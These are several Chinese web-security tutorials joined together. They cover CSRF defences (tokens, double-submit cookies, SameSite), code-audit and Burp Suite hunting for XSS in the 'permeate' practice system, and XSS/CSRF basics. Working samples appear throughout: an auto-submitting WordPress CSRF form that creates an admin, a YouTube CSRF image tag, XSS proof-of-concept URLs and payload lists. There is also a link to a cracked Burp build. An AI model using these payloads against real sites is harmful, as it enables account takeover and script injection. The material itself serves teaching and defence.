Token会带来很大的压力。访问单台服务器session是同一个。但是现在的大型网站中，我们的服务器通常不止一台，可能是几十台甚至几百台之多，甚至多个机房都可能在不同的省份，用户发起的HTTP请求通常要经过像Ngnix之类的负载均衡器之后，再路由到具体的服务器上，由于Session默认存储在单机服务器内存中，因此在分布式环境下同一个用户发送的多次HTTP请求可能会先后落到不同的服务器上，导致后面发起的HTTP请求无法拿到之前的HTTP请求存储在服务器中的Session数据，从而使得Session机制在分布式环境下失效，因此在分布式集群中CSRF Token需要存储在Redis之类的公共存储空间。由于使用Session存储，读取和验证CSRF Token会引起比较大的复杂度和性能问题，目前很多网站采用Encrypted Token Pattern方式。这种方法的Token是一个计算出来的结果，而非随机生成的字符串。这样在校验时无需再去读取存储的Token，只用再次计算一次即可。这种Token的值通常是使用UserID、时间戳和随机数，通过加密的方法生成。这样既可以保证分布式服务的Token一致，又能保证Token不容易被破解。在token解密成功之后，服务器可以访问解析值，Token中包含的UserID和时间戳将会被拿来被验证有效性，将UserID与当前登录的UserID进行比较，并将时间戳与当前时间进行比较。总结Token是一个比较有效的CSRF防护方法，只要页面没有XSS漏洞泄露Token，那么接口的CSRF攻击就无法成功。但是此方法的实现比较复杂，需要给每一个页面都写入Token（前端无法使用纯静态页面），每一个Form及Ajax请求都携带这个Token，后端对每一个接口都进行校验，并保证页面Token及请求Token一致。这就使得这个防护策略不能在通用的拦截上统一拦截处理，而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大，且有可能遗漏。验证码和密码其实也可以起到CSRF Token的作用哦，而且更安全。为什么很多银行等网站会要求已经登录的用户在转账时再次输入密码，现在是不是有一定道理了？双重Cookie验证在会话中存储CSRF Token比较繁琐，而且不能在通用的拦截上统一处理所有的接口。那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点，我们可以要求Ajax和表单请求携带一个Cookie中的值。双重Cookie采用以下流程：在用户访问网站页面时，向请求域名注入一个Cookie，内容为随机字符串（例如csrfcookie=v8g9e4ksfhw）。在前端向后端发起请求时，取出Cookie，并添加到URL的参数中（接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw）。后端接口验证Cookie中的字段与URL参数中的字段是否一致，不一致则拒绝。此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便，只需进行请求中字段的对比，而不需要再进行查询和存储Token。当然，此方法并没有大规模应用，其在大型网站上的安全性还是没有CSRF Token高，原因我们举例进行说明。由于任何跨域都会导致前端无法获取Cookie中的字段（包括子域名之间），于是发生了如下情况：如果用户访问的网站为www.a.com，而后端的api域名为api.a.com。那么在www.a.com下，前端拿不到api.a.com的Cookie，也就无法完成双重Cookie认证。于是这个认证Cookie必须被种在a.com下，这样每个子域都可以访问。任何一个子域都可以修改a.com下的Cookie。某个子域名存在漏洞被XSS攻击（例如upload.a.com）。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了a.com下的Cookie。攻击者可以直接使用自己配置的Cookie，对XSS中招的用户再向www.a.com下，发起CSRF攻击。总结用双重Cookie防御CSRF的优点：无需使用Session，适用面更广，易于实施。Token储存于客户端中，不会给服务器带来压力。相对于Token，实施成本更低，可以在前后端统一拦截校验，而不需要一个个接口和页面添加。缺点：Cookie中增加了额外的字段。如果有其他漏洞（例如XSS），攻击者可以注入Cookie，那么该防御方式失效。难以做到子域名的隔离。为了确保Cookie传输安全，采用这种防御方式的最好确保用整站HTTPS的方式，如果还没切HTTPS的使用这种方式也会有风险。Samesite Cookie属性防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题，Google起草了一份草案来改进HTTP协议，那就是为Set-Cookie响应头新增Samesite属性，它用来标明这个 Cookie是个“同站 Cookie”，同站Cookie只能作为第一方Cookie，不能作为第三方Cookie，Samesite 有两个属性值，分别是 Strict 和 Lax，下面分别讲解：Samesite=Strict这种称为严格模式，表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie，绝无例外。比如说 b.com 设置了如下 Cookie：Set-Cookie: foo=1; Samesite=StrictSet-Cookie: bar=2; Samesite=LaxSet-Cookie: baz=3我们在 a.com 下发起对 b.com 的任意请求，foo 这个 Cookie 都不会被包含在 Cookie 请求头中，但 bar 会。举个实际的例子就是，假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict，那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后，淘宝都不会是登录状态，因为淘宝的服务器不会接受到那个 Cookie，其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。Samesite=Lax这种称为宽松模式，比 Strict 放宽了点限制：假如这个请求是这种请求（改变了当前页面或者打开了新页面）且同时是个GET请求，则这个Cookie可以作为第三方Cookie。比如说 b.com设置了如下Cookie：Set-Cookie: foo=1; Samesite=StrictSet-Cookie: bar=2; Samesite=LaxSet-Cookie: baz=3当用户从 a.com 点击链接进入 b.com 时，foo 这个 Cookie 不会被包含在 Cookie 请求头中，但 bar 和 baz 会，也就是说用户在不同网站之间通过链接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求，或者页面跳转是通过表单的 post 提交触发的，则bar也不会发送。生成Token放到Cookie中并且设置Cookie的Samesite，Java代码如下： private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) { //生成token String sToken = this.generateToken(); //手动添加Cookie实现支持“Samesite=strict” //Cookie添加双重验证 String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict”, this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI()); httpResponse.addHeader(“Set-Cookie”, CookieSpec); httpResponse.setHeader(CSRF_TOKEN_NAME, token); }代码源自OWASP Cross-Site_Request_Forgery #Implementation example我们应该如何使用SamesiteCookie如果SamesiteCookie被设置为Strict，浏览器在任何跨域请求中都不会携带Cookie，新标签重新打开也不携带，所以说CSRF攻击基本没有机会。但是跳转子域名或者是新标签重新打开刚登陆的网站，之前的Cookie都不会存在。尤其是有登录的网站，那么我们新打开一个标签进入，或者跳转到子域名的网站，都需要重新登录。对于用户来讲，可能体验不会很好。如果SamesiteCookie被设置为Lax，那么其他网站通过页面跳转过来的时候可以使用Cookie，可以保障外域连接打开页面时用户的登录状态。但相应的，其安全性也比较低。另外一个问题是Samesite的兼容性不是很好，现阶段除了从新版Chrome和Firefox支持以外，Safari以及iOS Safari都还不支持，现阶段看来暂时还不能普及。而且，SamesiteCookie目前有一个致命的缺陷：不支持子域。例如，种在topic.a.com下的Cookie，并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时，不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。总之，SamesiteCookie是一个可能替代同源验证的方案，但目前还并不成熟，其应用场景有待观望。防止网站被利用前面所说的，都是被攻击的网站如何做好防护。而非防止攻击的发生，CSRF的攻击可以来自：攻击者自己的网站。有文件上传漏洞的网站。第三方论坛等用户内容。被攻击网站自己的评论功能等。对于来自黑客自己的网站，我们无法防护。但对其他情况，那么如何防止自己的网站被利用成为攻击的源头呢？严格管理所有的上传接口，防止任何预期之外的上传内容（例如HTML）。添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源（例如图片）被解析为网页。对于用户上传的图片，进行转存或者校验。不要直接使用用户填写的图片链接。当前用户打开其他用户填写的链接时，需告知风险（这也是很多论坛不允许直接在内容中发布外域链接的原因之一，不仅仅是为了用户留存，也有安全考虑）。CSRF其他防范措施对于一线的程序员同学，我们可以通过各种防护策略来防御CSRF，对于QA、SRE、安全负责人等同学，我们可以做哪些事情来提升安全性呢？CSRF测试CSRFTester是一款CSRF漏洞的测试工具，CSRFTester工具的测试原理大概是这样的，使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息，通过在CSRFTester中修改相应的表单等信息，重新提交，相当于一次伪造客户端请求，如果修改后的测试请求成功被网站服务器接受，则说明存在CSRF漏洞，当然此款工具也可以被用来进行CSRF攻击。CSRFTester使用方法大致分下面几个步骤：步骤1：设置浏览器代理CSRFTester默认使用Localhost上的端口8008作为其代理，如果代理配置成功，CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。步骤2：使用合法账户访问网站开始测试我们需要找到一个我们想要为CSRF测试的特定业务Web页面。找到此页面后，选择CSRFTester中的“开始录制”按钮并执行业务功能；完成后，点击CSRFTester中的“停止录制”按钮；正常情况下，该软件会全部遍历一遍当前页面的所有请求。步骤3：通过CSRF修改并伪造请求之后，我们会发现软件上有一系列跑出来的记录请求，这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。通过选择列表中的某一行，我们现在可以修改用于执行业务功能的参数，可以通过点击对应的请求修改query和form的参数。当修改完所有我们希望诱导用户form最终的提交值，可以选择开始生成HTML报告。步骤4：拿到结果如有漏洞进行修复首先必须选择“报告类型”。报告类型决定了我们希望受害者浏览器如何提交先前记录的请求。目前有5种可能的报告：表单、iFrame、IMG、XHR和链接。一旦选择了报告类型，我们可以选择在浏览器中启动新生成的报告，最后根据报告的情况进行对应的排查和修复。CSRF监控对于一个比较复杂的网站系统，某些项目、页面、接口漏掉了CSRF防护措施是很可能的。一旦发生了CSRF攻击，我们如何及时的发现这些攻击呢？CSRF攻击有着比较明显的特征：跨域请求。GET类型请求Header的MIME类型大概率为图片，而实际返回Header的MIME类型为Text、JSON、HTML。我们可以在网站的代理层监控所有的接口请求，如果请求符合上面的特征，就可以认为请求有CSRF攻击嫌疑。我们可以提醒对应的页面和项目负责人，检查或者 Review其CSRF防护策略。个人用户CSRF安全的建议经常上网的个人用户，可以采用以下方法来保护自己：使用网页版邮件的浏览邮件或者新闻也会带来额外的风险，因为查看邮件或者新闻消息有可能导致恶意代码的攻击。尽量不要打开可疑的链接，一定要打开时，使用不常用的浏览器。总结简单总结一下上文的防护策略：CSRF自动防御策略：同源检测（Origin 和 Referer 验证）。CSRF主动防御措施：Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。保证页面的幂等性，后端接口不要在GET页面中做用户操作。为了更好的防御CSRF，最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑，结合当前Web应用程序自身的情况做合适的选择，才能更好的预防CSRF的发生。历史案例WordPress的CSRF漏洞2012年3月份，WordPress发现了一个CSRF漏洞，影响了WordPress 3.3.1版本，WordPress是众所周知的博客平台，该漏洞可以允许攻击者修改某个Post的标题，添加管理权限用户以及操作用户账户，包括但不限于删除评论、修改头像等等。具体的列表如下:Add Admin/UserDelete Admin/UserApprove commentUnapprove commentDelete commentChange background imageInsert custom header imageChange site titleChange administrator’s emailChange Wordpress AddressChange Site Address那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress，然后点击其钓鱼站点上的某个按钮，该按钮实际上是表单提交按钮，其会触发表单的提交工作，添加某个具有管理员权限的用户，实现的码如下：<html> <body onload=“javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method=“POST” name=“form0” action=“http://<wordpress_ip>:80/wp-admin/user-new.php”> <input type=“hidden” name=“action” value=“createuser”/> <input type=“hidden” name="_wpnonce_create-user” value="<sniffed_value>”/> <input type=“hidden” name="wp_http_referer” value="%2Fwordpress%2Fwp-admin%2Fuser-new.php”/> <input type=“hidden” name=“user_login” value=“admin2”/> <input type=“hidden” name=“email” value=“admin2@admin.com”/> <input type=“hidden” name=“first_name” value=“admin2@admin.com”/> <input type=“hidden” name=“last_name” value=""/> <input type=“hidden” name=“url” value=""/> <input type=“hidden” name=“pass1” value=“password”/> <input type=“hidden” name=“pass2” value=“password”/> <input type=“hidden” name=“role” value=“administrator”/> <input type=“hidden” name=“createuser” value=“Add+New+User+”/> </form> </body> </html> YouTube的CSRF漏洞2008年，有安全研究人员发现，YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”，那么他就能将他自己添加到用户的“Friend”或者“Family”列表，以用户的身份发送任意的消息，将视频标记为不宜的，自动通过用户的联系人来共享一个视频。例如，要把视频添加到用户的“Favorites”，攻击者只需在任何站点上嵌入如下所示的IMG标签：<img src=“http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite”/>攻击者也许已经利用了该漏洞来提高视频的流行度。例如，将一个视频添加到足够多用户的“Favorites”，YouTube就会把该视频作为“Top Favorites”来显示。除提高一个视频的流行度之外，攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”，从而导致YouTube删除该视频。这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表，这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。攻击者还可以通过用户的所有联系人名单（“Friends”、“Family”等等）来共享一个视频，“共享”就意味着发送一个视频的链接给他们，当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接，而是一个具有攻击性的网站链接，用户很有可能会点击这个链接，这便使得该种攻击能够进行病毒式的传播。参考文献Mozilla wiki.Security-OriginOWASP.Cross-Site_Request_Forgery(CSRF)_Prevention_Cheat_Sheet_Prevention_Cheat_Sheet).Gmail Security Hijack Case.Google-Gmail-Security-Hijack.Netsparker Blog.Same-Site-Cookie-Attribute-Prevent-Cross-site-Request-ForgeryMDN.Same-origin_policy#IE_Exceptions下期预告前端安全系列文章将对XSS、CSRF、网络劫持、Hybrid安全等安全议题展开论述。下期我们要讨论的是网络劫持，敬请期待。作者简介刘烨，美团点评前端开发工程师，负责外卖用户端前端业务。 ...

一、背景笔者此前录制了一套XSS的视频教程，在漏洞案例一节中讲解手工挖掘、工具挖掘、代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完，内容有一些关联性，其中手工XSS挖掘篇地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198本文主要记录通过代码审计的方式进行XSS漏洞挖掘，分为了找出关键位置，正向审计，反向审计三个部分，审计的系统为permeate渗透测试系统，测试系统的搭建可以参考笔者的第一篇文章。二、操作概要找出关键位置正向审计反向审计三、找出关键位置打蛇打七寸，说明在关键位置做事效率会更高，代码审计找出漏洞也是同理，因此笔者需要找出XSS关键的位置;对于目前的大多数Web应用来说，MVC模式是非常主流的一种形式，因此笔者这里将找到对应的控制器和模板，在这一节当中主要讲解找出位置的思路3.1 找出控制器找出控制器的方式通常是通过主入口文件与URL地址两块去分析，现在笔者打开首页，发现URL地址为http://permeate.songboy.net/home/index.php当点击板块后，URL地址变成了如下地址http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6从URL地址中可以看到不管首页还是板块页面，都经过URL地址home/index.php,因此笔者接下来便可以通过打开home/index.php文件来查看控制器所存放的位置,打开后代码如下所示<?phprequire_once “../core/common.php”;include “./public/header.php”;includeAction("$model","$action");include “./public/footer.php”;再次打开../core/common.php文件，代码如下所示function includeAction($model, $action){ //判断控制器是否存在 $filePath = “./action/$model.php”; if (is_readable($filePath)) { require_once $filePath; $class = new $model; if (is_callable(array($class, $action))) { $class->$action(); return true; } } //如果没有找到对应的控制器，直接调用模板文件 $tplFilePath = “./tpl/$model/$action.php”; if (is_readable($tplFilePath)) { require_once $tplFilePath; return true; } echo ‘控制器或模板文件’ . $filePath . ‘不存在!’; die;}从代码中可以看出，其控制器文件存放在home/action/下，此时笔者打开此文件夹，可以看到几个php文件，如下图所示回想刚才笔者所看到的URL地址如下http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6联想起来其控制器文件为tiezi.php,将其打开一看<?phpclass tiezi{ function __construct() { } public function index() { ….. $data[‘count’] = $count; $data[‘page_size’] = $page_size; $data[‘page_count’] = $page_count; $data[‘page_num’] = $page_num; displayTpl(’tiezi/index’, $data); }果然发现了index方法3.2 找出模板得到控制器之后，笔者还需要找到模板存放的位置，通常模板与控制器是息息相关，因此可以控制其中找到蛛丝马迹，比如上面的代码当中，最后一行代码为displayTpl函数，从字面意思上可以理解为显示模板，因此笔者通过PHPStorm的跳转功能直接跳过去查看该函数的具体流程，找到代码如下所示/** * 加载模板文件 * @param $tplPath /function displayTpl($tplPath, $data = []){ $filePath = “./tpl/$tplPath.php”; if (!is_readable($filePath)) { echo ‘模板文件’ . $filePath . ‘不存在!’; die; } foreach ($data as $key => $val) { $$key = $val; } require_once $filePath;}在上面代码当中可以看出模板存放于home/tpl目录下，通过文件夹打开查看，如下图所示3.3 验证位置通过上面的操作流程已经基本确定控制器与模板的位置，但为了防止意外，还是准确验证一下，在控制器中输出一个字符串1111111，在模板中输出字符串222222222，如果按照笔者之前所预想的，那么这两组字符串都会被输出，参考代码如下在控制器中加入的测试代码如下public function index(){ echo ‘11111111111’;在模板文件中加入的测试代码如下222222222222222<?php$get = $_GET;?><section class=“section”>现在会到浏览器，在当前页面单击鼠标右键，选中查看源代码，如下图所示在源代码当中，搜索字符串11111,果然搜索到字符串，如下图所示四、正向审计在找到关键位置之后，笔者便可以针对性的去进行代码审计，XSS的代码审计主要有两种方式，正向代码审计，反向代码审计；正向代码审计的意思是从参数的接收到参数最后的使用这个流程进行检查，而反向审计则是相反从变量使用的位置上推到参数接收4.1 接收参数位置首先通过正向方式来进行代码审计，正向代码审计是从接收参数进行排查，因此找到控制器当中，通过编辑器的搜索功能，笔者在控制器文件当中搜索了关键字 $_GET 找到了tiezi.php控制器中的index方法，代码如下所示 public function index() { $id = $_GET[‘bk’]; $bk = &$id; //开始分页大小 $page_size = 15; //获取当前页码 $page_num = empty($_GET[‘page’]) ? 1 : $_GET[‘page’]; //中间代码……………..省略 $data[‘bk’] = $bk; $data[‘count’] = $count; $data[‘page_size’] = $page_size; $data[‘page_count’] = $page_count; $data[‘page_num’] = $page_num; displayTpl(’tiezi/index’, $data); }4.2 模板位置是否过滤从上面代码当中可以看出参数bk并没有进行任何过滤，便直接放到了模板当中，这便留下安全隐患，如果在模板当中也没用进行安全过滤，那么就存在着反射型XSS漏洞，打开模板文件并搜索关键词bk，代码如下所示<div class=“post-list-controller”> <div style=“float: right”> <a class=“btn btn-primary” href=“fatie.php?bk=<?php echo $bk ?>">发帖</a> </div>可以看出，模板中确实没有进行安全过滤4.3 漏洞验证http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6%22%3E%3Cscript%3Ealert(123)%3C/script%3E如下图所示五、反向审计反向审计则从模板中找出使用了那些变量，并反推变量的来源，以及是否进行了安全过滤5.1 找出模板中的变量通过PHPStrom编辑器的正则表达式功能匹配变量，正则表达式如下echo $([a-z])这个正则表达式是匹配输出变量,比如匹配字符echo $zhangsan，用PHPStorm匹配到的结果如下图所示双击鼠标左键打开对应代码文件/home/search.php，代码如下所示在代码中可以看出变量直接放在模板当中，如果在控制器当中也没有转义此变量的来源，那么很有可能会存在XSS问题。5.2 查找变量来源追踪变量$keyword,找到变量来源<?phpinclude “public/header.php”;include “../core/common.php”;$keywords = $_REQUEST[‘keywords’];if (!empty($keywords)) { $where = " where title like ‘%$keywords%’ “;从上面的代码当中可以看出变量$keywords并没有进行任何过滤，因此可以笃定此处也存在这XSS漏洞问题5.3 漏洞验证从代码的位置发现与前面的唯一入口不同，此代码文件并不是类文件，因此尝试直接访问，构造出URL地址如下http://permeate.songboy.net/home/search.php?keywords=%E6%B5%8B%E8%AF%95%3Cscript%3Ealert(123)%3C/script%3E通过火狐浏览器访问此URL地址之后，出现结果如下图所示在提示框当中果然弹出了123的提示六、新书推荐如果对笔者的Web安全文章较为感兴趣，可以关注笔者更多文章内容，新书《PHP Web安全开发实战》，现已在各大网点销售，封面如下图所示作者：汤青松微信：songboy8888日期：2018-10-09 ...

一、背景笔者6月份在慕课网录制视频教程XSS跨站漏洞 加强Web安全,里面需要讲到很多实战案例，在漏洞挖掘案例中分为了手工挖掘、工具挖掘、代码审计三部分内容,手工挖掘篇参考地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198本文主要记录利用Web安全工具Burp suite进行XSS漏洞挖掘部分，分为了设置代理，漏洞扫描，漏洞验证三个部分，其中permeate渗透测试系统的搭建可以参考第一篇文章。二、操作概要下载工具设置代理漏洞扫描漏洞验证三、下载工具3.1 安装JDK环境在本文中是使用的工具burp suite需要JAVA环境才能运行，所以需要事先安装好JAVA环境，JAVA环境安装方法本文中再赘述，读者可以自行搜索JAVA JDK环境安装；3.2 下载工具burp suite的官网地址为:https://portswigger.net/burp/,打开官网后可以看到burp分为三个版本，分别是企业版、专业版、社区版本,在本文中笔者所使用的是专业版，参考下载地址如下：链接: https://pan.baidu.com/s/1H1ScgZTjPosZsdgjJDM4PA 提取码: s747下载并解压刚才所下载的zip文件，便能看到文件夹中有一些文件和文件夹，如下图所示3.3 工具运行在上图中可以看到有一个jar文件，此文件便为Java语言所开发，因此只要安装了JAVA环境即可运行，不管是windows还是mac都可以运行此程序，双击BurpUnlimited.jar打开此程序，打开之后会有一个提示，如下图所示在提示框中告知该程序为破解版本，仅用来学习，如果可以请购买正版，这里点击确定按钮，会再次看到一个确认界面，任然点击Next按钮，如下图所示最后便能看到程序的界面，如下图所示当打开程序看到上图界面时便是已经运行程序成功，下面便将进入burp suite的使用教程。四、设置代理现在笔者的工具已经运行成功，接着便开始使用brup suite开始挖掘出XSS漏洞，使用工具挖掘有三个步骤，第一步便是将一些基础信息给burp suite，第二步则让burp suite自行扫描出更多信息，第三步便是开始正是挖掘.现在笔者需要给工具提供一些基本信息，比如域名和URI地址以及cookie信息和其他各方面的数据；提供的方式有两种，第一种是自己手动去填写各项信息，第二种则是直接抓获浏览器的数据包给burp suite，而手动提供相比较为麻烦，因此笔者这里通过抓浏览器的数据包的方式，让工具自己去获得所需的数据；抓包主要有三个步骤，首先需要让burp suite开启代理服务，然后设置浏览器的代理地址，最后浏览器访问网址burpsuite便可以看到数据包，具体操作流程如下4.1 打开代理burp suite开启代理服务比较简单，笔者将上方选项卡切换到proxy->Options这个位置，可以看到其实工具已经默认其实已经开启代理服务127.0.0.1地址，如下图所示在上图中可以看到了127.0.0.1:8080这个地址，此时已经开启代理服务，因此不需要再做任何设置。4.2 浏览器设置现在代理服务已经打开，接着便是让浏览器的数据经过代理服务，笔者所使用的是谷歌浏览器，并安装了代理插件，这里将以插件设置代理的方式为例，如下图所示从上图当中可以看到笔者所设置的协议为http代理，地址为127.0.0.1，端口信息为80804.3 抓包验证接下来便是要进行代理的验证，最简单的验证方式便是通过浏览器打开网站，然后查看burp suite能否抓到数据包，笔者在第一篇文章快速找出网站中可能存在的XSS漏洞实践(一)(https://segmentfault.com/a/1190000016095198)当中已经安装好了对应的渗透测试系统，因此不再重复说明，五、漏洞扫描在前面的准备操作之后，现在便进入了核心操作环节，用burp suite进行抓包、爬虫、扫描等操作，分别对应的作用是通过抓包获取基本信息、通过爬虫获取即将被扫描的网站更多信息、通过扫描对获取到的信息进行暴力测试。5.1 数据抓包笔者现在以permeate渗透测试系统的XSS漏洞挖掘为例，首先通过浏览器permeate渗透测试系统，URL地址如下:http://permeate.songboy.net/按下回车键之后，浏览器此时应该是处于等待状态，此时回到工具burp suite当中，可以看到已经抓到了数据包，如下图所示点击工具中的Forward按钮，便可以将此放开，此时浏览器所展现的界面如下图所示，说明页面已经被打开5.2 爬去链接再次刷新浏览器，依然可以抓取到数据包，这次笔者需要通过burp suite去抓取permeate渗透测试系统中的URL地址，这个过程笔者称之为爬虫，操作方式如下图所示在数据包的位置，右键单击点击，出现选项，点击send to spider之后，便可以在spier选项卡中可以看到如下图所示在上图中可以看到burp suite已经找到了permeate中的46个链接地址，接着笔者切换到target选项卡当中，如下图所示在target选项卡下，可以看到爬去到的所有链接地址5.3 挖掘漏洞在收集到了permeate渗透测试系统中的大部分URL的地址之后，就可以使用burp suite进行渗透测试工作，在渗透测试中会针对每一个地址进行常规漏洞的测试，包含了SQL注入、XSS跨站、命令执行、CSRF、明文表单、文件包含等方面的漏洞本文中笔者以XSS漏洞为例，在target选项卡下，选中对应的域名地址，鼠标单击右键，便可以看到Actively scan this host这一选项，如下图所示点击之后该选项之后，便进入下一交互框当中，此时可以去除一些没有参数的URL地址，笔者这里勾选后将会去除没有参数的URL地址，以及后缀为js、gif、jpg、png、css的地址，如下图所示点击下一步之后，便可以看到筛选后的URL地址，如下图所示再次点击下一步之后，便开始进行了渗透测试，此时点击选项卡scanner便可以看到扫描的进度以及扫描的结果大致状态六、漏洞验证工具burp suite在扫描出漏洞之后会给出提示，但提示并不是完全准确，因此还需要人为的验证6.1 查看进度渗透测试所花费的时间是是由URL数量和网速所决定的，通常需要一定的时间，笔者可以在选项卡Scanner中的子选项卡Scan issue中可以看到渗透测试的进度以及扫描的大致情况，比如有些项当中呈现出红色，则代表扫描到高危漏洞，如下图所示6.2 扫描结果当扫描完成之后，可以在Scanner下的子选项卡Issue activity中看到完整的结果，结果中的红色表示高危漏洞，橙色表示低危漏洞，灰色则表示提示性安全为题，笔者选中其中一个红色选项卡，类型为Cross-site scripting,这个便是XSS漏洞，在下方可以看到的具体payload，如下图所示在payload当中，点击右键单击便可以复制其URL地址，可将其URL地址用于漏洞验证使用，如下图所示6.3 漏洞验证现在笔者通过浏览器人工的验证一下此payload是否真正存在，刚才笔者已经将带有payload的地址复制了下来，URL地址如下http://permeate.songboy.net/home/index.php?m=tiezie2eir%3cscript%3ealert(1)%3c%2fscript%3eftspc&a=index&bk=10验证的时候注意一定不要使用谷歌内核的浏览器，因为谷歌内核浏览器自带XSS筛选器，会到导致网站及时存在反射型的XSS也无法复现因此笔者使用火狐浏览器进行漏洞验证，如下图所示七、新书推荐如果对笔者的Web安全文章较为感兴趣，可以关注笔者更多文章内容，新书《PHP Web安全开发实战》，现已在各大平台销售，封面如下图所示作者：汤青松微信：songboy8888日期：2018-10-09

一、Web安全的关键点浏览器的同源策略同源策略：不同域的客户端脚本在没明确授权的情况下，不能读写对方的资源。http://www.topo.com 的不同域/同域站点是否同域原因https://www.topo.com不同域协议不同，https与http是不同的协议http://alpha.topo.com不同域域名不同，alpha子域与www子域不同http://topo.com不同域域名不同，顶级域与www子域不是一个概念http://www.topo.com:8080不同域端口不同，8080与默认端口80不同http://www.topo.com/a/同域满足同协议、同域名、同端口，只是目录不同默认情况下是不允许跨域访问的，只有目标站点（http://www.topo.com）明确返回HTTP响应头：Access-Control-Allow-Origin: http://www.evil.com，那么www.evil.com上的客户端脚本才有权通过AJAX对www.topo.com上的数据进行读写操作。AJAXAsynchronous JavaScript and XML（异步的 JavaScript 和 XML）AJAX是在不重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术。DOMDocument Object Mode （文档对象模型）中立于平台和语言的接口，它允许程序和脚本动态地访问和更新文档的内容、结构和样式。二、前端基础Web安全事件的角色：W3C、浏览器厂商、Web厂商、攻击者、用户。URLUniform Resource Locator（统一资源定位符）protocol://hostname[:port]/path/[;parameters][?query]#fragmentURL有三类编码方式：escape、encodeURI、encodeURIComponent，对应着三个解码函数unescape、decodeURI、decodeURIComponent。HTTPHyper Text Transfer Protocol（超文本传输协议）详情JavaScript<script>alert(1)</script><img src=# onerror=“alert(1)” /><input type=‘text’ value=“x” onmouseover=“alert(1)” /><iframe src=“javascript:alert(1)"></iframe><a herf=“javascript:alert(1)">x</a>…Cookie[name] [value] [domain] [path] [expires] [httponly] [secure]名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志三、前端黑客之XSSCross Site Script（跨站脚本），发生在目标网站中目标用户的浏览器层面上，当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行，XSS就会产生。反射型XSS发出请求时，XSS代码出现在URL中，作为输入提交到服务端，服务端解析后响应，在响应内容中出现这段XSS代码，最后浏览器解析执行。存储型XSS提交的XSS代码会存储在服务端，下次请求目标页面时不用再提交XSS代码。DOM型XSSDOM型XSS的XSS代码不需要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，可以认为完全是客户端的事情。常见的输入点：document.URLdocument.URLUnencodeddocument.locationdocument.referrerdocument.cookiewindows.locationwindows.name常见输出点：直接输出HTML内容：document.write()document.writeln()document.body.innerHtml=直接修改DOM树：document.forms[0].action=document.attachEvent()document.create()document.execCommand()document.body. …()替换document URLdocument.location=document.location.hostname=document.location.replace()document.location.asign()document.URL=window.navigate()打开或修改新窗口document.open()window.open()window.location.href=直接执行脚本eval()window.execScript()window.setInterval()window.setTimeout()XSS危害：挂马、盗取用户Cookie、Dos客户端浏览器、钓鱼攻击、劫持用户Web行为、蠕虫式挂马刷广告等等。四、前端黑客之CSRFCross-site request forgery（跨站请求伪造跨站的请求）跨站点的请求：跨站点请求的来源一般为其他站点，但是也可以来自本站。请求是伪造的：发出的请求不是用户的意愿的请求。HTML CSRF发起的CSRF请求都属于HTML元素发出的，HTML中能设置href/src等连接的标签都可以发起一个GET请求，如：<link href=”"><img src=”"><meta http-equiv=“refresh” content=“0; url="><iframe src=”"><script src="">…CSS中的：@import 